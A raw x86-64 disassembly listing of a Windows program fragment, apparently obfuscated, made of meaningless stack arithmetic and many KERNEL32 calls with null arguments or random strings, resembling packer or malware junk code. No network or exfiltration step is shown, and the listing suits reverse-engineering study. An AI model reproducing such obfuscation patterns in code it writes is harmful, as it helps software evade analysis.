xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov rax, qword [rsp + 0xc5a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb3e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa408], rax
mov rax, qword [rsp + 0xc2b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc48]
sub eax, ecx
mov rcx, qword [rsp + 0xc6b0]
mov word [rcx], ax
lea rax, [rsp + 0xa88]
mov qword [rsp + 0xce38], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6474], eax
mov rcx, qword [rsp + 0xc718]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xa3d0]
mov rcx, qword [rsp + 0xb270]
xor rcx, rax
mov rax, rcx
mov qword [0x1401c70b8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
movzx eax, word [rsp + 0x13a4]
movzx ecx, word [rsp + 0x10fc]
and eax, ecx
mov word [rsp + 0x2064], ax
lea rdx, [rsp + 0x26028]
mov rcx, qword [rsp + 0xcb38]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6520], eax
mov rax, qword [rsp + 0xca00]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1401c8b20]
sar rax, cl
mov qword [rsp + 0x98d8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x664c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6258], eax
mov rax, qword [rsp + 0xb768]
mov qword [rsp + 0xce40], rax
mov rax, qword [rsp + 0xc8c0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc6d0]
mov qword [rsp + 0xce48], rcx
movzx ecx, al
mov rax, qword [rsp + 0xce48]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6634], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rcx, qword [rsp + 0xc6f8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xce50], rax
lea rax, [0x1401c8b40]
mov qword [rsp + 0xce58], rax
mov rax, qword [rsp + 0xcdb8]
mov ecx, dword [rsp + 0x645c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xcb48]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x3a6]
mov rcx, qword [rsp + 0xc438]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3a3], al
lea rax, [rsp + 0x38c]
mov qword [rsp + 0xce60], rax
movzx eax, word [rsp + 0x196c]
mov word [0x1401c8bb8], ax
movsx eax, word [rsp + 0x1fe8]
mov rcx, qword [rsp + 0xc4e0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc2b8]
mov word [rcx], ax
mov rcx, qword [rsp + 0xc918]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x62b0], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc080], rax
movzx ecx, word [rsp + 0x1f74]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x219c], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x65a8], eax
lea rax, [rsp + 0x9c0]
mov qword [rsp + 0xce68], rax
mov rcx, qword [rsp + 0xc6f8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x64a8], eax
lea rcx, str.OU0IFGr5_ZIPyKq_mHoZP_CS
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x21a0], ax
movzx ecx, word [rsp + 0x1f6c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2094], ax
mov rax, qword [rsp + 0xc618]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa90]
add eax, ecx
mov word [rsp + 0x2080], ax
mov rax, qword [rsp + 0xc9f8]
mov rax, qword [rax]
mov qword [rsp + 0xce70], rax
movsx eax, byte [rsp + 0x39c]
movsx ecx, byte [rsp + 0x4f]
sub eax, ecx
mov byte [rsp + 0x377], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [rsp + 0x6490]
mov rcx, qword [rsp + 0xcde8]
mov qword [rsp + 0xce78], rcx
movzx ecx, al
mov rax, qword [rsp + 0xce78]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6608], eax
movsx eax, word [rsp + 0x1238]
movsx ecx, word [rsp + 0x205c]
sar eax, cl
mov word [rsp + 0xfd0], ax
movzx eax, word [0x1401c7028]
mov rcx, qword [rsp + 0xcd00]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x92c], ax
lea rdx, [rsp + 0x262c8]
mov rcx, qword [rsp + 0xc5c8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6650], eax
mov rax, qword [rsp + 0xcc88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc0b0]
add rcx, rax
mov rax, rcx
mov rcx, qword [0x1401c8aa8]
mov qword [rcx], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov rax, qword [rsp + 0xb7b8]
mov qword [rsp + 0xce80], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x653c], eax
mov rax, qword [rsp + 0xb1e8]
mov rcx, qword [rsp + 0xc388]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc218], rax
mov rax, qword [rsp + 0xcc88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc0b0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcda0]
mov qword [rcx], rax
mov rax, qword [0x1401c8a50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc9a8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf00], ax
movzx eax, byte [rsp + 0x396]
mov rcx, qword [rsp + 0xca88]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x394], al
lea rcx, [rsp + 0x1fdc8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x645c]
mov dword [rsp + 0x6654], eax
mov eax, dword [rsp + 0x63c4]
movzx ecx, al
mov eax, dword [0x1401c7008]
shr eax, cl
mov rcx, qword [rsp + 0xc5d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xca58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc550]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc5a8]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x359]
movsx ecx, byte [0x1401c8a26]
shl eax, cl
mov byte [0x1401c700d], al
lea rcx, str.RhlimB.AZxOkvm_hbgs
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x21a4], ax
lea rax, [rsp + 0x1cfc]
mov qword [rsp + 0xce88], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6258], eax
mov rcx, qword [rsp + 0xc978]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, word [rsp + 0x207c]
movsx ecx, word [rsp + 0x1fc8]
sub eax, ecx
mov word [rsp + 0x1f68], ax
movzx eax, word [rsp + 0x1f44]
mov word [rsp + 0x21a8], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6360], eax
mov rax, qword [rsp + 0xcd20]
mov rcx, qword [rsp + 0xc960]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xab60], rax
mov rax, qword [rsp + 0xcb50]
mov ecx, dword [rsp + 0x6098]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x663c], eax
movsx eax, byte [0x1401c8a13]
mov rcx, qword [rsp + 0xcc98]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xb2], al
mov rax, qword [rsp + 0xce58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc5a8]
mov qword [rsp + 0xce90], rcx
movzx ecx, al
mov rax, qword [rsp + 0xce90]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xc780], rax
movzx eax, word [rsp + 0xc48]
mov word [rsp + 0x21ac], ax
lea rcx, [rsp + 0x1d5c0]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movzx eax, word [0x1401c8af4]
mov rcx, qword [rsp + 0xc948]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1401c8b48], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov rax, qword [rsp + 0xce10]
mov rcx, qword [rsp + 0xc3a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc4b0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
lea rax, [rsp + 0x10fc]
mov qword [rsp + 0xce98], rax
lea rcx, str.S22myb
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x21b0], ax
mov rax, qword [rsp + 0xc4b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3a0]
xor eax, ecx
mov byte [rsp + 0x3a3], al
mov rax, qword [rsp + 0xc848]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x62cc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xce00]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x62b8], eax
lea rax, [rsp + 0x38e]
mov qword [rsp + 0xcea0], rax
mov eax, dword [rsp + 0x64a0]
mov ecx, dword [rsp + 0x60f4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6154], eax
lea rax, [rsp + 0xc790]
mov qword [rsp + 0xcea8], rax
movsx eax, word [rsp + 0xfa0]
movsx ecx, word [rsp + 0x134c]
or eax, ecx
mov word [rsp + 0x20c0], ax
lea rcx, [rsp + 0x1d390]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx eax, word [rsp + 0x1f70]
mov word [0x1401c8bbc], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov rax, qword [rsp + 0xc3c8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc1d8]
shl rax, cl
mov qword [rsp + 0xc5a0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [0x1401c8ae8]
mov rcx, qword [rsp + 0xc738]
mov qword [rsp + 0xceb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xceb0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xbd08], rax
mov rax, qword [rsp + 0xce88]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc888]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xca78]
mov word [rcx], ax
mov r9d, 2
lea r8, [rsp + 0xc198]
mov rdx, qword [rsp + 0xc5d0]
mov rcx, qword [rsp + 0xc850]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6504], eax
movzx ecx, word [rsp + 0x203c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x21b4], ax
mov rax, qword [rsp + 0xca60]
movzx eax, word [rax]
mov word [rsp + 0x21b8], ax
lea rdx, [rsp + 0x261e8]
mov rcx, qword [rsp + 0xcb08]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x657c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xceb8], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6500], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
movzx ecx, word [rsp + 0x1f10]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x21bc], ax
lea rdx, [rsp + 0x26300]
mov rcx, qword [rsp + 0xcd50]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6588], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov rax, qword [rsp + 0xcba0]
movsx eax, byte [rax]
movsx ecx, byte [0x1401c700d]
add eax, ecx
mov byte [rsp + 0x38f], al
mov rax, qword [rsp + 0xc520]
mov ecx, dword [rsp + 0x59f8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x557c], eax
lea rax, [rsp + 0xc3f0]
mov qword [rsp + 0xcec0], rax
lea rcx, str.ct_NEBzG_MAuIDgY
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x21c0], ax
mov rax, qword [rsp + 0xc6b8]
mov rcx, qword [rsp + 0xc878]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcc80], rax
mov rax, qword [rsp + 0xc638]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1994]
add eax, ecx
mov word [0x1401c70d0], ax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
lea rdx, [rsp + 0x26258]
mov rcx, qword [rsp + 0xc1a8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6588], eax
movzx eax, word [rsp + 0x1ef8]
mov word [rsp + 0x21c4], ax
movzx eax, byte [rsp + 0x3a6]
mov rcx, qword [rsp + 0xc438]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x26d], al
mov eax, dword [rsp + 0x5b70]
mov ecx, dword [rsp + 0x58cc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5d78], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xcec8], rax
mov rax, qword [rsp + 0xcc88]
mov rcx, qword [rsp + 0xc5e8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc510], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6590], eax
movsx eax, byte [rsp + 0x376]
mov rcx, qword [rsp + 0xce18]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x38f], al
mov rax, qword [rsp + 0xca58]
mov rax, qword [rax]
mov qword [rsp + 0xced0], rax
lea rdx, [rsp + 0x26220]
mov rcx, qword [rsp + 0xc850]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6468], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [0x1401c8a18]
movzx ecx, al
mov eax, dword [rsp + 0x6494]
shr eax, cl
mov dword [rsp + 0x5d48], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov rcx, qword [rsp + 0xc4c0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xc698]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x13c8]
sub eax, ecx
mov word [rsp + 0x1b04], ax
mov rax, qword [rsp + 0xccf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x20a8]
or eax, ecx
mov word [0x1401c8b48], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
mov rax, qword [rsp + 0xc758]
mov rcx, qword [rsp + 0xcc38]
mov qword [rsp + 0xced8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xced8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xce40], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
lea rcx, [rsp + 0x1d5e8]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
movzx eax, word [rsp + 0x1f44]
mov rcx, qword [rsp + 0xc380]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x11e4], ax
mov r9d, 0x1945
xor r8d, r8d
lea rdx, [rsp + 0xc7d8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x64f4], eax
mov rax, qword [rsp + 0xce88]
movzx eax, word [rax]
mov word [rsp + 0x21c8], ax
mov rax, qword [rsp + 0xb020]
mov rcx, qword [rsp + 0xc420]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc898], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.KnushxA3PHrOiDYbKGuEk
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xcee0], rax
lea rax, [rsp + 0x37a]
mov qword [rsp + 0xcee8], rax
mov rax, qword [rsp + 0xc910]
mov rax, qword [rax]
imul rax, qword [0x1401c8a88]
mov rcx, qword [rsp + 0xca20]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x63f0], eax
mov rax, qword [rsp + 0xc5d8]
mov rcx, qword [rsp + 0xc6f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x61bc], eax
movzx eax, word [rsp + 0x848]
mov word [rsp + 0x21cc], ax
mov rax, qword [rsp + 0x9f10]
mov qword [0x1401c8bc0], rax
movzx eax, byte [0x1401c8a16]
mov rcx, qword [rsp + 0xc4b8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x38d], al
mov rax, qword [rsp + 0xcc60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6200]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5790], eax
mov rax, qword [rsp + 0xca78]
movsx eax, word [rax]
movsx ecx, word [0x1401c8b88]
add eax, ecx
mov word [rsp + 0x2068], ax
movzx eax, word [rsp + 0x16b8]
movzx ecx, word [rsp + 0x2114]
add eax, ecx
mov word [rsp + 0x1fd4], ax
mov rax, qword [rsp + 0xc668]
movzx eax, byte [rax]
mov byte [rsp + 0x3a7], al
mov rcx, qword [rsp + 0xc3b8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xc3f0]
mov rcx, qword [0x1401c7020]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcdd0]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xcd88], rax
mov eax, dword [rsp + 0x6634]
mov ecx, dword [rsp + 0x61bc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5848], eax
movsx eax, word [rsp + 0x1f9c]
mov rcx, qword [0x1401c8ae0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2194], ax
movzx eax, word [rsp + 0x11e4]
mov rcx, qword [rsp + 0xc380]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1401c7040], ax
mov rax, qword [rsp + 0xc868]
mov qword [rsp + 0xcef0], rax
mov rax, qword [rsp + 0xce10]
mov rcx, qword [rsp + 0xb1e8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xcdf8], rax
mov rax, qword [rsp + 0xc2e8]
mov rcx, qword [rsp + 0xcb40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc218], rax
movsx eax, word [rsp + 0x2138]
mov rcx, qword [rsp + 0xcd08]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xbe4], ax
lea rcx, [rsp + 0x1fdf8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xc4a0]
mov rcx, qword [rsp + 0xca58]
mov rax, qword [rax]
imul rax, qword [rcx]
mov qword [rsp + 0x9710], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov rax, qword [rsp + 0xcd18]
movzx eax, byte [rax]
mov byte [rsp + 0x3a8], al
mov r9d, 1
lea r8, [rsp + 0xcb80]
mov rdx, qword [rsp + 0xc198]
mov rcx, qword [rsp + 0xc630]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6580], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
movzx ecx, word [rsp + 0x2004]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2140], ax
mov rcx, qword [rsp + 0xc768]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [0x1401c8a40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x65e0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x65e8], eax
mov rax, qword [rsp + 0xc6a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x65b0]
shl eax, cl
mov rcx, qword [rsp + 0xcaf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc4d0]
movzx eax, byte [rax]
mov byte [rsp + 0x3a9], al
mov rax, qword [rsp + 0xc638]
movsx eax, word [rax]
mov rcx, qword [0x1401c8b18]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x1401c8b50]
mov word [rcx], ax
mov rax, qword [rsp + 0xc4a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc9a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2158], ax
lea rax, [rsp + 0x1f78]
mov qword [rsp + 0xcef8], rax
lea rcx, [rsp + 0x1d610]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rax, qword [rsp + 0xc3c8]
mov rcx, qword [0x1401c8aa0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa1e0], rax
mov rax, qword [rsp + 0xc3c0]
mov rcx, qword [rsp + 0xcc68]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6508], eax
mov rax, qword [rsp + 0xcea0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x383]
and eax, ecx
mov byte [rsp + 0x2c5], al
mov rax, qword [rsp + 0xcd28]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc6c0]
shr rax, cl
mov qword [rsp + 0x9710], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6564], eax
lea rax, [rsp + 0x2198]
mov qword [rsp + 0xcf00], rax
mov edx, 0x1742
mov rcx, qword [rsp + 0xc978]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6658], eax
mov rcx, qword [rsp + 0xceb8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x660c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
lea rcx, [rsp + 0x1fca8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rcx, str.W8r1_w
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x21d0], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc080], rax
mov rcx, qword [rsp + 0xc870]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x658c], eax
movzx ecx, word [rsp + 0x1fb0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x21d4], ax
xor r9d, r9d
lea r8, [rsp + 0xc318]
mov rdx, qword [rsp + 0xc190]
mov rcx, qword [rsp + 0xc330]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6618], eax
movzx eax, word [rsp + 0xfc8]
movzx ecx, word [rsp + 0xf00]
or eax, ecx
mov word [rsp + 0x1fd4], ax
lea rcx, [rsp + 0x1d548]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xcc38]
mov rax, qword [rax]
mov qword [0x1401c8bc8], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6638], eax
mov rax, qword [rsp + 0xc4a8]
movzx eax, word [rax]
mov word [rsp + 0x21d8], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x648c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc738]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc990]
mov qword [rsp + 0xcf08], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcf08]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa530], rax
mov rax, qword [rsp + 0xcc38]
mov rcx, qword [rsp + 0xc8b8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc680]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcac8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc8f8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6b], al
mov rax, qword [rsp + 0xc5a8]
mov rcx, qword [0x1401c8a88]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb3e0], rax
movzx ecx, word [rsp + 0x1f64]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x211c], ax
mov eax, dword [rsp + 0x64e8]
mov dword [rsp + 0x665c], eax
movzx eax, byte [rsp + 0x3a3]
imul eax, eax, 0x36
mov byte [rsp + 0x11e], al
mov eax, dword [rsp + 0x6254]
mov rcx, qword [rsp + 0xc6d0]
mov qword [rsp + 0xcf10], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcf10]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6494], eax
mov rax, qword [rsp + 0xcd98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcf00]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x1401c8b18]
mov word [rcx], ax
lea rcx, [rsp + 0x1fe88]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xce88]
movzx eax, word [rax]
mov word [rsp + 0x21dc], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x649c], eax
movzx eax, word [0x1401c8b10]
movzx ecx, word [rsp + 0x18cc]
shl eax, cl
mov word [rsp + 0x1f70], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
movzx eax, word [rsp + 0x92c]
movzx ecx, word [rsp + 0x2120]
add eax, ecx
mov word [rsp + 0x195c], ax
mov rax, qword [rsp + 0xce08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x397]
sub eax, ecx
mov byte [rsp + 0x377], al
mov rax, qword [rsp + 0xc6d0]
mov rcx, qword [rsp + 0xc5d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x61bc], eax
lea rax, [rsp + 0xbf50]
mov qword [rsp + 0xcf18], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xcd90], rax
movsx eax, word [rsp + 0x2184]
